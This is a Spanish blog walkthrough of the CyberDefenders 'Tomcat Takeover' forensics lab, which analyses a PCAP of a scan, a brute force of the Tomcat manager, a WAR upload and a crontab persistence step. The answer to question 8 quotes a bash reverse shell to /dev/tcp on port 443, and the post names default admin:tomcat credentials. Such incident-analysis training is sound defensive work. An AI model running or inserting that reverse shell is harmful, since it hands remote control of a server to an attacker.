En este post vamos a resolver la máquina «Tomcat Takeover» de nivel Easy de la plataforma Cyberdefenders.org . Si quieres empezar a realizar prácticas en sus laboratorios, o no sabes en qué consiste esta plataforma, he creado este post que te guiará a configurarlo y saber cómo usarla.
Al final del post verás un resumen de los conceptos trabajados en este laboratorio.
A tener en cuenta como contexto de resolución del laboratorio:
| ESCENARIO El equipo del SOC ha identificado actividad sospechosa en un servidor web de la intranet de la empresa. Para comprender mejor la situación, han capturado el tráfico de red para su análisis. El archivo PCAP podría contener evidencia de actividades maliciosas que provocaron la vulneración del servidor web Apache Tomcat. Su tarea es analizar el archivo PCAP para comprender el alcance del ataque. |
Lo primero es descargamos el .zip en nuestra máquina bajo la carpeta que hemos creado del laboratorio.
Localizamos el fichero y lo descomprimimos usando en mi caso 7z («sudo apt install p7zip-full p7zip-rar«), e introducimos la contraseña que nos da Cyberdefenders para extraer la info.
Una vez extraído vemos que se descarga un fichero .pcap que como vimos en uno de los laboratorios anteriores («Web Investigation«), es un fichero que puede ser usado para analizar mediante Wireshark.
empieza el lab en https://www.twitch.tv/videos/2409807935?t=1h18m51s
Estructura del contenido
PREGUNTA 1 : Dada la actividad sospechosa detectada en el servidor web, el archivo PCAP revela una serie de solicitudes en varios puertos, lo que indica un posible comportamiento de escaneo. ¿Puede identificar la dirección IP de origen responsable de iniciar estas solicitudes en nuestro servidor?
Empezamos por abrir el fichero .pcap con Wireshark para analizar el tráfico de red de ese entorno intranet de la empresa.
Si vamos a la opción de Estadísticas – Conversaciones, veremos que se registran todas las «conversaciones» o peticiones entre diferentes IP y además vemos el número de paquetes que se han intercambiado, etc.
En este caso vemos que la IP origen 14.0.0.120 ha enviado un volumen de peticiones superalto de 19K a la IP destino 10.0.0.112, por lo que ya nos indica que efectivamente intuimos que se está mandando este volumen tan alto de peticiones porque se está haciendo un ping o escaneo a la IP destino tratando de encontrar quizás puertos abiertos o directorios vulnerables, etc.
PREGUNTA 2 : Basándose en la dirección IP identificada asociada con el atacante, ¿puede identificar el país desde el cual se originaron las actividades del atacante?.
Al igual que hicimos en el laboratorio de Web Investigation, a través de la web IPLocation.net podemos encontrar más información de esa IP incluyendo el país, ciudad, etc.
En este caso, para la IP 14.0.0.120 vemos que el país del atacante es China.
PREGUNTA 3 : En el archivo PCAP, se detectaron varios puertos abiertos como resultado del escaneo activo del atacante. ¿Cuál de estos puertos proporciona acceso al panel de administración del servidor web?.
Mi sospecha, sabiendo que en la pregunta se menciona panel de administración o login web, diría que está asociado al puerto 8080 web http, pero lo confirmaremos mediante el análisis de todas las peticiones que está haciendo el atacando a la IP destino.
Si filtramos las peticiones por el protocolo 8080, podemos ver distintas peticiones GET y vemos una petición a la url /admin al host IP: 8080.
PREGUNTA 4: Tras descubrir puertos abiertos en nuestro servidor, parece que el atacante intentó enumerar y acceder a directorios y archivos en nuestro servidor web. ¿Qué herramientas, según el análisis, puede identificar que ayudaron al atacante en este proceso de enumeración?
Como ya hemos visto en otros laboratorios de HTB, THM o Dockerlabs, cuando tratamos de enumerar directorios o archivos usamos herramientas de fuzzing web como gobuster, diruster, feroxbuster o wfuzz.
En este caso, y si nos fijamos en la petición de arriba que vimos en la pregunta anterior, podemos ver en la respuesta , que el user agent es gobuster en su versión 3.6, por lo que ahí tendríamos la herramienta de fuzzing.
PREGUNTA 5 : Tras intentar enumerar los directorios de nuestro servidor web, el atacante realizó numerosas solicitudes para identificar las interfaces administrativas. ¿Qué directorio específico relacionado con el panel de administración descubrió el atacante?
Si aplicamos el filtro de http, y vemos las peticiones GET a donde se realizan, vemos entre todo el listado, muchas que se ejecutan hacia el directorio /manager , por lo que intuimos que este es el directorio de panel de administración.
ip.src==14.0.0.120 && ip.dst==10.0.0.112 && tcp.port == 8080 && httpY que además devuelve un código de estado 412 donde se le deniega el acceso.
PREGUNTA 6 : Tras acceder al panel de administración, el atacante intentó forzar las credenciales de inicio de sesión. ¿Puedes determinar el nombre de usuario y la contraseña correctos que el atacante usó para iniciar sesión?
Si hacemos un análisis y seguimos el stream de esas peticiones de la IP atacante:
podemos ver como cuando se hace la petición al /manager que se le deniega el acceso en este caso con un 401 unauthorized. Este proceso podemos ver en el listado que lo intenta el atacante varias veces probando distintas combinaciones de usuario y contraseña, hasta que el servidor le devuelve un estado 200 y en la cabecera devuelve en base 64 las credenciales.
Si vamos a nuestra consola y decodificamos esa cadena string, nos devuelve el usuario:contraseña. (admin:tomcat)
¿Por qué devuelve esa línea en la cabecera HTTP «Basic»?
Esto sucede porque el servidor está configurado para usar el método de autenticación HTTP conocido como Basic Authentication. En este método:
- Las credenciales (usuario y contraseña) son enviadas al servidor en cada solicitud.
- Estas credenciales se concatenan (
usuario:contraseña) y se codifican en formato Base64. - El servidor recibe esta cadena codificada, la decodifica internamente, verifica si las credenciales son correctas, y en caso afirmativo, permite el acceso devolviendo un código de estado HTTP
200 OK.
PREGUNTA 7 : Una vez dentro del panel de administración, el atacante intentó subir un archivo con la intención de establecer una reverse shell. ¿Puedes identificar el nombre de este archivo malicioso a partir de los datos capturados?
Para averiguarlo, analizamos de nuevo el listado de peticiones http que estaba enviando el atacante a la IP destino, y sabiendo que en este caso hace una subida de un archivo, analizamos los métodos POST en busca de algo que nos indique que se ha subido un archivo.
Si seleccionamos esa petición POST y seguimos el stream, podemos ver la subida del fichero y el nombre: JXQOZY.war
El atacante eligió un archivo con extensión .war porque este tipo de archivos son utilizados por servidores Java como Apache Tomcat para desplegar aplicaciones web.
PREGUNTA 8 : Tras establecer con éxito una reverse shell en nuestro servidor, el atacante intentó asegurar la persistencia en la máquina comprometida. A partir del análisis, ¿puede determinar el comando específico que está programado para ejecutarse para mantener su presencia?
Aquí lo que hacemos es de nuevo rastrear todas las solicitudes a partir del POST anterior donde realiza la subida del archivo malicioso, y vemos que ya la petición cambia a TCP porque la comunicación la hace a través de la reverse shell por el puerto 443.
Y si analizamos esa petición vemos que interactúa con la máquina víctima diciéndole whoami, etc, y le incluye un comando a cron tab para que se ejecute constantemente de forma persistente.
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
Te recomiendo ver el directo en Twitch de CYBERFORGEDCHANNEL donde explica paso a paso y muy sencillo cada una de las preguntas.
| 📌 Resumen de la resolución de la máquina «Tomcat Takeover» Para resolver este laboratorio primero analizamos con Wireshark un archivo de tráfico de red. En él detectamos que un atacante, desde la IP 14.0.0.120 (ubicada en China), realizó un escaneo de puertos y encontró el servidor web disponible en el puerto 8080, donde intentó acceder a directorios confidenciales como /admin y /manager usando una herramienta llamada Gobuster. Tras múltiples intentos logró autenticarse con las credenciales admin:tomcat. Una vez dentro, subió un archivo malicioso llamado JXQOZY.war, diseñado especialmente para ejecutar comandos en el servidor. Luego de subir el archivo malicioso, el atacante logró obtener acceso remoto al servidor mediante una reverse shell, una técnica que permite controlar una máquina a distancia. Para mantener este acceso incluso después de reiniciar el servidor, programó un comando en crontab que automáticamente se ejecutaba cada minuto, asegurando que siempre pudiera reconectarse y mantener su presencia. |
